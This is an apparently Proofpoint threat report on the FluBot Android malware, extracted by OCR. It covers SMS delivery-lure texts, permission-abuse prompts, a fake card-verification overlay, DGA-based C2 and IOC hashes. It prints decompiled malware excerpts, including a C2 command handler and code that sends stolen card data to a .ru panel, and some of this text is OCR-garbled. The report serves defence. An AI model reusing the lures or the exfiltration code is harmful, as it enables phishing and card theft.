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Overview

After a brief dip in activity in early March 2021, which is attributed to arrests made by Spanish authorities,[i][ii]
the FluBot Android malware has picked back up, spreading throughout various countries in Europe via its SMS
package delivery scheme. Its latest victims include Android users in the United Kingdom, Germany, Hungary,
Italy,[iii] Poland, and Spain, based on Proofpoint and opensource information,[iv] and it may be on the cusp of
spreading among US users. Proofpoint researchers have reverse engineered samples of FluBot versions 3.7 and

4.0 used with FedEx, DHL, and Correos lures and detail our findings below.
Recent FluBot Activity

The FluBot threat actors have substantially branched out beyond their initial target of Spain, which originally
accounted for the vast majority of infections since the malware’s discovery in late 2020.[v] The campaigns now
encompass the UK, Germany, Hungary, Italy, Poland, and Spain with new recipients, including the U.S., likely to
be added.

Proofpoint has observed over 700 unique domains being used in the English-language campaign alone, which is
almost exclusively hitting UK users. According to Proofpoint data, the campaign in the United Kingdom began
with messages from Germany but were quickly replaced by messages from UK senders. The German-language
messages were turned off once the UK messages were established, indicating a conscious effort to spread FluBot
from country to country. Proofpoint estimates that there are about 7,000 currently infected devices spreading the
English-language campaign through the UK, but the volume of malicious SMS messages can number in the tens

of thousands per hour and some mobile subscribers have received up to six SMS messages with the FluBot link.

Proofpoint has seen German and English-language SMS messages being sent to U.S. users from Europe, which
may be the result of the malware sending to everyone on the infected devices’ contact lists. However, we are not

yet seeing a concerted effort to infect U.S. phones in the way that we have in the UK.

FluBot continues to strictly operate via SMS with no observed spreading via email at this time. The FluBot
versions analyzed by Proofpoint impact at a minimum Android SDK version 7.0 and target Android SDK version
9.0.

FluBot: A Breakdown

Proofpoint researchers have reverse engineered samples of FluBot versions 3.7 and 4.0 and determined they have

the same functionality but differ in some elements of their obfuscation and C2 communication.
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SMS Phishing

Regardless of the malware version or lure, each FluBot infection begins with a potential victim receiving an SMS
message impersonating a delivery service. The messages are variations on delivery themes (Figure 1), such as
“FEDEX Your package is arriving, track here” and include links to compromised sites. If the victim follows the
link, they are prompted to download a malicious app that, to lend credibility, has the delivery service’s logo as its
icon and uses legitimate looking APK files (Android’s app file format) with FluBot encrypted and embedded

inside.

Of the samples Proofpoint researchers have analyzed, FluBot v3.7 uses package names of com.tencent.mobileqq
and com.tencent.mm with FedEx, DHL, and Correos lures while v4.0 uses a package name of

com.eg.android.AlipayGphone with DHL lures.

Sample of Lures in English, German, and Italian

Hi. We have (1) package pending on your name. Schedule delivery now:
Dhl express 6345574045 from SENDBIKE.COM estimated 24/04. Manage delivery:

Good news! Your missguided parcel is on board for delivery. Track your parcel
Order 4160894 is due to be delivered today. For a current eta click

Delivery date is 24/04. Follow the journey at
Order 4160894 is due to be delivered today. For a current ETA click

Louis Vuitton: |hr Paket mit UPS wird morgen geliefert! Klicken Siezum Verfolgenauf

Domani 10:00 - 16:00 consegneremo il tuo pacco. Conferma il tuo indirizzo cliccando
qui:

Gentile cliente, abbiamo appena spedito il tuo ordine n. Q769767. Segui la
spedizione qui:

Figure 1. Sample of lures.
Functionality

After the app is installed, user interaction is required to provide the malware with full access to the device via the
Android Accessibility Service and Notification access. Figure 2 show the sequence of prompts with a fake FedEx

lure that lead the victim through providing this access.
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P® 4032

Allow notification access for
FedEx?

FedEx will be able to read all
notifications, including personal
information such as contact
names and the text of messages
you receive. It will also be able to
dismiss notifications or trigger
action buttons they contain.

Action Required ( 1/2) Use FedEx?
se FedEx?

To install you must turn on the
accessibility service for "FedEx". FedEx needs to: Action Required (2/2)

Click "OK’ to go to the settings and + Observe your actions To finish installation you must turn
then seroll until you find “FedEx” Receive notifications when you're on notification access for ‘FedEx".
and click to turn on the accessibility interacting with an app.
service. . . Click "0K" to go to the notification

* Retrieve win dow‘co ntent settings.
1 youdo not ind lckon bogck b e o
“Downloaded / Installed services" n

and then click on "FedEx".
CANCEL oK

This will also give the app the ability
to tum Do Not Disturb on or off and
change related settings.

DENY  ALLOW

Figure 2. Action, installation, and access notifications

Once given the permissions, both FluBot versions act as spyware, SMS spammer, and credit card and banking
credential stealers all in one. Reaching out to the C2 server, the malware sends the victim’s contact list and

retrieves an SMS phishing message and number to continue its spread using the victim’s device.

Additional functionality (Figure 3) includes intercepting SMS messages, USSD messages from the telecom
operator, and app notifications, opening pages on a victim’s browser, disabling Google Play Protect to prevent its
detection, opening a SOCKS connection and creating a SOCKS proxy for communication depending on the C2
request, and uninstalling any app as directed by the C2. The malware also uses the system’s
“locale.getLanguage()” to set the text language for interfacing with the victim, ensuring they will be none the

wiser when they encounter notifications.
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int ve = -1;
switch(argl2.hashCode()) {
case -659046262: {
if(argl2.equals(“SMS_INT_TOGGLE")) {
vl = 1;
}

}
case 63294573: {
if(argl2.equals("BLOCK")) {
ve = 16;
}

break;

}
case 79072527: {
if(argl2.equals(“SOCKS")) {
vl = 11;
}

break;

}
case 279273946: {
if(argl2.equals(“OPEN_URL")) {
vg = 2;
}

break;

}
case 1628351171: {
if(argl2.equals(“RUN_USSD")) {
ve = 8;
}

break;

}
case 1844385979: {
if(argl2.equals("DISABLE_PLAY_ PROTECT")) {
vl = 3;
1)

break;

}
case 1912768572: {
if(argl2.equals(“RELOAD_INJECTS")) {
vl = 6;
}

break;

}
case 2031367170: {

if(argl2.equals("SEND_SMS")) {
vl = 5;
}

break;
}
case 2117774140: {

if(argl?.equals(“GET_CONTACTS")) {
v@ = 8;
}

break;

Figure 3. Part of the code that handles commands from C2.
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Another key part of the malware’s functionality is its ability to install display overlays for various banking apps
and Google Play verification (Figure 4). When the malware has captured the victim’s credit card information, the

card number format is validated locally and then sent to the C2 for exploitation (Figure 5).

Google Play Verification
Following activity on your device, to continue
using your device you must verify your identity.

A bank card must be provided to prove that you
are an adult. This card will not be charged and
will only be used for verification purposes.

Owner

Card Number

Expiration Date

Month / Year

(ATAY) VERIFY

Figure 4. Google Play verification.

if(v2 >= 1 && v2 <= 12 && v3 >= V7 && v3 <= v7 + 28} {
String v2_1 = CardActivity.this.editTextCardNum.getText().toString();
if(!CardActivity.this.CheckLuhn(v2_1)) {
CardActivity.this.Error(LangTxt.txt[0x20]);
return;

}

String v7_1 = "Name: " + CardActivity.this.editTextName.getText().toString() + "\r\n" + "Card: " + CardActivity.this.editTextCardNum.getText()
PanelReq.SendAsync(String. format("%s,%s,%s", "LOG", "CARD_BLOCK", v7_l1), Boolean.valueOf(true));
String w3_1 = CardActivity.this.getString(8x7FOFE01C);
SharedPreferences.Editor v2_2 = CardActivity.this.getSharedPreferences(v3_1, 0).edit();
v2_2.putString{“c", v7_1);
v2_2.commit();
CardActivity.this.exiting = true;
CardActivity.block = false;
CardActivity.this.finishAndRemoveTask()
return;
}
CardActivity.this.Error(LangTxt.txt[0x1F]);
return;

}

CardActivity.this.Error(LangTxt.txt[29]);

Figure 5. Code of victim credit card data being assembled.

Page 5 of 28



https://www.proofpoint.com /us/blog/threat-insight /flubot-android-malware-spreading-rapidly-through-europe-may-hit-us-soon

Obfuscation

In the samples Proofpoint researchers analyzed, there is a change in the obfuscation of the class names. Version
3.7 in fake FedEx and Correos campaigns, does not obfuscate the class names while v3.7 and v.4.0 in DHL

campaigns use obfuscated class names (Figures 6 and 7). All versions have string and method names obfuscated.
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» # android

» # androidx

v & com

~ f# example
~ # myapplicationtest

» ©-$%$Lambda$DGA$NIOYHOyYGScIL_x57]Qgtw6jweq8
» © Bot
» © Botld
» © BrowserActivity
» @ BuildConfig
» @ CardActivity
» @ ComposeSmsActivity
» G Contactltem
» @ ContactListAdapter
» @ DGA
» @ ForegroundService
» ©® HeadlessSmsSendService
» G HttpCom
* @ IntentStarter
* G LangTxt
» @ MainActivity
» ® MmsReceiver
» @ MyAccessibilityService
» ® MyExceptionHandler
» @ MyNotificationListener
» @ PanelReq
» @ ProgConfig
»®R
» ® SmsReceiver
» @ SmsThreadActivity
» © SocksClient

» G Spammer

[ I ) P

Figure 6. Class names in v3.7 using FedEx lure.
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~ @ com
v i#ieg
~ & android

~ # AlipayGphone
» O BrowserActivity
» @ CardActivity
b O ComposeSmsActivity
* @ ForegroundService
» @ HeadlessSmsSendService
b O IntentStarter
P @ MainActivity
b @ MmsReceiver
» @ MyAccessibilityService
» @ MyNotificationListener
» @ SmsReceiver
» @ SmsThreadActivity
r@a
@b
r@c
red
PQe
(Nchi
»@g
»P@h
P @i
»Qj
POk
(]
PA@m
L CRy

Figure 7. Class names in v4.0 using DHL lure.
Communication

FluBot uses a domain generation algorithm (DGA) to connect to its C2 server, generating a list of domains to try
until it finds one it can reach. Using this method, the threat actors can switch the domains they are using for C2

communication quickly as they become blocked or taken down.

In FluBot v3.7 the number added to the seed used by DGA is static whereas in v4.0 the number added to the seed

is specific to the language set of the victim’s device (Figure 8). Version 3.7 is using the TLDs ".ru,” ".com,” and

".cn" while v4.0 is using the TLDs “.ru,” “.su,” and “.cn.”
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case 12: {

kK.a = "49";
K.b = 0x799;
h.a = h.d;
break;

}

case 13: {

kK.a = "48";
K.b = 0xB73;
h.a = h.f;
break;

¥

case 14: {
kK.a = "39";
kK.b = 0x715;
h.a = h.c;
break;

¥

case 15:

case 16:

case 17:

case 18: {
K.a = "34";
kK.b = 0x470;
h.a = h.e;
break;

ks

case 19:

case 20: {
K.a = "44";
K.b = OX66A;
h.a = h.b;
break;

Figure 8. FluBot sets the app language and determines DGA number to be added.

For communication with the C2 FluBot uses the HTTP Using POST method on port 80 with POST body
encrypted and then encoded to base64 (Figures 9 and 10).

Page 9 of 28



https://www.proofpoint.com /us/blog/threat-insight /flubot-android-malware-spreading-rapidly-through-europe-may-hit-us-soon

public static String Send(String arg9, String arglo) {
try {
HttpCom vl = new HttpCom();
v1l.SetPort(80);
vl.SetHost(arg9);
vl.SetPath("/poll.php");

String v9 = =
SecureRandom v2 = new SecureRandom();
int v4;
for(vd = 0; v4 < 10; ++v4) {
v9 = v9 + ((char)(v2.nextInt(25) + 97));
}
String v2_1 = Botld.GetBotId(null) + "," + v9;
String v4_1 = PanelReq.EncryptRSA(v2_1);
byte[] v6 = new byte[l0];
int v7;

for(v7 = 0; v7 < 10; ++v7) {
v6[v7] = (byte)v9.charAt(v7);
}

byte[] v9_1 = arglO.getBytes(StandardCharsets.UTF_8);
PanelReq.Encrypt(vS9_1, v6, true);
v1.SetPostContent (String. format("%s\r\n%s", v4_1, Base64.encodeToString(v9_1, 2)));
vl.SetPost(true);
if(!vl.Submit()) {
return null;

}

String v9_2 = vl1.GetOutputString();
if(v9_2 == null) {

return null;
}

byte[] v9_3 = Baseb64.decode(v9_2, 0);
PanelReq.Encrypt(v9_3, v6, false);
String[] v9_4 = new String(v9_3, StandardCharsets.UTF_8).split("\r\n", 2);
if(v9 _4.length '= 2) {
return null;
¥

Figure 9. Image of encryption and base64 encoding of traffic.

POST /poll.php HTTP/1.1

Host: senxqgkrjyaupygj.ru

Content-Length:

Content-Type: application/x-www-form-urlencoded
User-Agent: Dalvik/2.1.0 (Linux; U;

Connection: Keep-Alive

Accept-Encoding: gzip

Figure 10. Assembled HTTP packet to send data to C2.

Outlook
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FluBot is likley to continue to spread at a fairly rapid rate, moving methodically from country to country via a
conscious effort by the threat actors. As long as there are users willing to trust an unexpected SMS message and

follow the threat actors’ provided instructions and prompts, campaigns such as these will be successful.
To reduce your personal risk of becoming a victim of FluBot, Proofpoint recommends that all mobile users:

e Be wary of unexpected SMS messages.
e Refrain from installing applications outside of legitimate app stores.

o Take the time to verify that the requested permissions make sense when you do install new apps.
ET Signatures

2031445 - ET MOBILE_MALWARE Android Flubot / LIKEACHARM Stealer Exfil
(POST) (mobile_malware.rules)

Indicators of Compromise

FluBot v3.7

Correos Theme Hashes

446833e3f8b04d4c3c2d2288e456328266524e396adbfeba3769d00727481e80

bb85cd885fad625bcd2899577582bad17e0d1f010f687fc09cdeb8feScc6d3el

8c14d5bc5175¢42c8dd65601b4964953f8179cfe5e627e5c952bbafd5ce7d39d

1340697dd3d7a20£fc97bd21413d0d415be38515befdf09ac7b27da6559b28bbd

04£8e3282001bd6ab956cb274eael18f5ff27b836831fe505¢370225e077cc5f9

9b0af385bc15bc36c5f6£8b38360605133841cal46d165394b47cf8838fab7c3

04377b7e2e83c34df6e6953f74d0a0e054a85ba%abce36d876fcfd2cc66830d8

399be381b5aaa57c47b826f96244fffee880c3fc4db710eb22de4f1490297a15
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3a99697e40£337b7274cd1a93¢2556d52567431dce58a47c02467afc73a90264

Fedex Theme Hashes

a601164199bbf14c5adf4d6a6d6c6de20f2ab35ec7301588bceb4ee7bb7d1fdc

f0fa95c3b022fb4feelc2328ffbc2a9567269e5826b221d813349ebf980b34da

07ba6893c4ffc95638d4d1152f7c5b03acad970474a95bf50942c619aa4382ae

ca5ba6098a2a5b49c82b7351920966009a99444da4d6f6e5a6649e5e2aeb3ff8

8be8576c742£31d690d449ab317b8fb562d03bc7c9dc33fa5abf09099b32d7a0

a2flelfa5c54caf389db3d987689e658944c63f784191b812fa2632fc088deca

8e6e903465b7f2b6bcee7f5d36705cfd3207124dfa59cdbd87421aa375b392¢c9

d20ffa7a8ff89a4715dd057e57e9b524caaf456cb073e39a0aebe0e23f4735c0

fb89ed9ee5871b5a81c648940a3c56f7cbe5419a5abf0e85ad8adf993774cfca

f4e6c1£5f412abb52233476eb91ee0d26237dbf38a9662493dff944e6d665ad9

2414f996b7£5e738591fddfc32bcd6eb7d6f83e7e6{68ae107d14e73dcb04d6f

2e6£c58f22d79504a3b29a58283a846371606da5f220a69abdb92a5e3a9667f6

df4e6f1c484£c32875f89470e9a4ef98ef1c285277b48a39bbb094ec23742ac2
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04610a4a84b901651ae41d9dcd95aafof9da64b561129656847f8121a4bef598

48391e4e7e7e4375766aeefa85cb3bal9b2a44dfa2f91028d733fcaefb5911f8

5669f1f31e1385196d1bc29899e52cfe97a25a9667a785bf27ec45ca80f1cbba

918b2fa384a48a225c2c3d764769b223625e5c¢b93083d2700ed29e2673d3190

b2d5175280439b7c0a0a2111bc9b44d79cfffe33c7905d1cab9c4198b23e0e3f

e9c25d4eccf4583da20dd37ceca0356ccbd998eb2ed5683b57da2a78378f2567

€799522c2af6c0944df09ed56f96ec83e388786c5d09a7210376b5339a06a255

8c404bd4ccd76aa8b041a5688388981f83b2bcb72c3c5b1a951e198abcdB84054

6bcdfabe32a5c338b6e4942dbdf6f0137d005c6688634d55301cf0b9bdb717b1

b66cf091750015413f63d048de8eb05b41d3e0d7e6ee33b86ae852f5bca40a66

6de8e6aeda050c499a2908be94209153f2f86b46e71cb33524e445a8c8b058a7

504f444443149c1a5¢361c313636fba3e5cc6385e93d49e32ecbbb2al7db491a

bb9d92094e085f9e5ea986ed4ef33f176075ce46155fa44f5b047ec7e8af5d4f

57d0c66115b590367146682b6fe27fb88aled107ac35435b61af5869d1a2325d

514c8d3caB8a9c131f488e077f30d0e60d71e33c64341aec435e7e7ed4ca9d9c2e
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2aed52b826c9e7169dd055a4582ea71703c43588a72fa36f043122db95373a47

0ca49d235f9d5610af9d9016729d73f5fff5bd1e82307f086ec09bdb126984f8

72ee135f37eef3b364{c83736190bc842700d535e3ae8033cba93320b7786f7c

32a9881fbc6216b520d64fa54d0cb2fee6ad75ea82fa0a883f0916b148de279d

Ocda5de526ff75eca7725d5df753490eb7359e66bc720c30102acd2789dc6eb7

4885173326d13c153541042beelaf0eelab55dbca0142baf9ff5195a2b2e8a41

ef56e101fc2d0fd4f157ed58929512e3484fe47fed6dbf18564bf9eecaac8834

cf41afb793660067b95e7¢c11fb450977185695df2731033efc15d0a8572ad853

f80e4£8e939310be1563759f64dc89a3739660255e7b72abd7973f3fe7fc6eb3

fef848e7de41e600b1d7452cf1187ead8efd1367eb3el11ffd0de8df25cd37a2a

d3cea9e03229e6e74e106¢3195531e1d126ce28b8d06c89bf29eae3e45450358

26d4d40ebaad79743acb70a2df8b653edddf95ee4affcb249df41a068a9a0df4

2b63fd3169eff2508e91dd87bcacb079183776b79ab49b0f301fde6045283303

dcfc478b03312a8b47ee2113aa25a3694b4717943b5261a42fa5cf1aa035e575

b93c903b683f1c5aecf1279b592ec4c9452375c3fff0d9a0714b62e79a608db1
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elc454cd1d22dfaObed6f8ea9b71951fab2cbc62366£510a54¢359632cb36246

719f806133baddda791dd8903d0195a4738528edc10ac80f7e0a0c0a8ce22970

92a58152f5da97f3ab259f815f45b9d05fd8a0245da8c4a6718belca8c3acalb

d23c4e2f7e6dd4a3e93e02d2ce94bdeff27ef5416c28e8939e676fbceaf3a4c8

4d22c11a05db23129ec2e1b6929d1c8618a790c9feb210ba66c37a3e0cf93cdb

2724£309fa751e2998503bee1a7d65b8705b22142¢c7c90ebc4b9cb0161ced273

a6b23a479bf4d6366c59361cfbaf51899689a2f009352e4016dd61bd97aa5917

96d27b5e669acfb4ce7e0f07879b759a34c916f976a80d236ce9dacdf5de2cbd

e077cc0beB83d2fd545b50c3cac634f4d028e3b25943b14dblacfa5ac8bc02610

43a2052b87100cf04e67c3c8c400fa203e0e8f08381929c935cff2d1f80f0729

9f295f057239211e110ad1ce0319222c49b056c8a2e88561f001b65feb3cb288

6078f207771b2576298de0cb7fa9146937e92ffe8c83cObbd08bd2bad7a55ca4

bc95b92a848082b6aee27250f63b5e40ffd590cf224e1dce39b5cdd0fd481eac

51cc314d0bdcdal178dbda4e2507a8c2a057ae52594e49570ed9848406d45fa0

38d11179fd2255ec95dea83e458266a1e4308c013ea2cb31646783e5031482bc
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6399dbfb96e4dfb01£36c051d6eb75530324246814cc6fbfl14ealefldcleca’6

c9ab1bce68498551a78c4c28cbbc36e4a827d81a51090d6ed4a5b9calfdfb698

4400fca6alfd60f0d7ac038f47db379d0a7e63c73calef0f4d1a039d47c94de3

0f82a27638d9d8d14b3be2c6b71744748cb7d6928066f5b6ec06efd86853c76b

672824e0780f68cfd22aec1d766b5ba4d73fdee2403510bc79d20f6b317¢7115¢

38d4fd73d2dbb758a57864c577211d96bdd39764a11b8187465f72636695cd7f
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https://cert-agid.gov.it/news/flu-bot-si-evolve-rilevata-in-italia-una-nuova-versione-4-0-veicolata-via-sms/
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flubot
https://therecord.media/massive-flubot-botnet-infects-60000-android-smartphones/
https://www.proofpoint.com/us/threat-reference/smishing

